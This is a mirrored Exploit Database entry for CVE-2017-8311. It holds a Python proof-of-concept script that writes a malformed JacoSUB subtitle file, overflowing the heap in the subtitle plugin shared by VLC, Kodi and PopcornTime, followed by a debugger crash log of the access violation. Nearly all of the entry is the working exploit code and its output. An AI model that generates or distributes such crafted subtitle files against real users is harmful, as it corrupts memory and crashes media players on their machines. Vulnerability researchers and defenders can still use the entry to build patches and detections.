VLC Media Player/Kodi/PopcornTime ‘Red Chimera’ < 2.2.5 - Memory Corruption (PoC)

• Exploit Database
• 16 阅读

• 作者： SivertPL
  日期： 2018-04-24
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44514/

• """
  VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)
  Author: SivertPL (kroppoloe@protonmail.ch)
  CVE: CVE-2017-8311
  
  Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
  This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
  The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
  I want to join a research team.
  """
  
  """
  ModLoad: 00000000`71660000 00000000`716a2000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
  ModLoad: 00000000`71630000 00000000`71651000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
  ModLoad: 00000000`71610000 00000000`7162e000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
  ModLoad: 00000000`71600000 00000000`7160d000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
  ModLoad: 00000000`715e0000 00000000`715fd000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
  ModLoad: 00000000`715d0000 00000000`715de000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
  ModLoad: 00000000`715b0000 00000000`715cf000 C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
  core demux error: option sub-original-fps does not exist
  (33c.d10): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
  libsubtitle_plugin+0x44de:
  715b44de 881fmov byte ptr [edi],blds:002b:1b9fb000=??
  0:012:x86> g
  (33c.d10): Access violation - code c0000005 (!!! second chance !!!)
  wow64!Wow64NotifyDebugger+0x1d:
  00000000`754ac9f1 654c8b1c2530000000 mov r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????
  """
  
  import os
  import struct
  import sys
  import argparse
  
  len = 1025
  
  def main(argv):
  parser = argparse.ArgumentParser()
  parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
  parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
  args = parser.parse_args()
  if args.length:
  global len
  len = args.length
  print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
  write(args.filename, len)
  
  def write(name, len):
  subtitles = open("%s.jss" % name, "w+")
  subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
  subtitles.write("0:00:04.00 0:00:05.00 vm attack")
  subtitles.write("\\C")
  subtitles.write(struct.pack('B', 0))
  subtitles.write('A' * len)
  subtitles.close()
  print "[+] Done!"
  
  if __name__ == "__main__":
   main(sys.argv[1:])